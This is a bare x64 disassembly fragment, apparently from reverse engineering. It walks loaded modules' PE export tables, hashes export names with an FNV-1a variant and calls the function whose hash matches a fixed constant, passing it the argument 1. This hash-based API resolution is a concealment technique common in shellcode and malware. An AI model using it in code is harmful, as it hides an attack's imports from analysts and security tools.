nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400011b7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400011b7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x89907998
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400011b2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140001190
cmp r8d, 0x2a79f08b
je 0x1400011bc
test r9d, r9d
jne 0x140001170
mov rax, qword [rax]
jmp 0x140001140
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 1
add rax, r10
call rax
mov rdi, qword [rsp + 0x70]
add rsp, 0x60
pop rbx
ret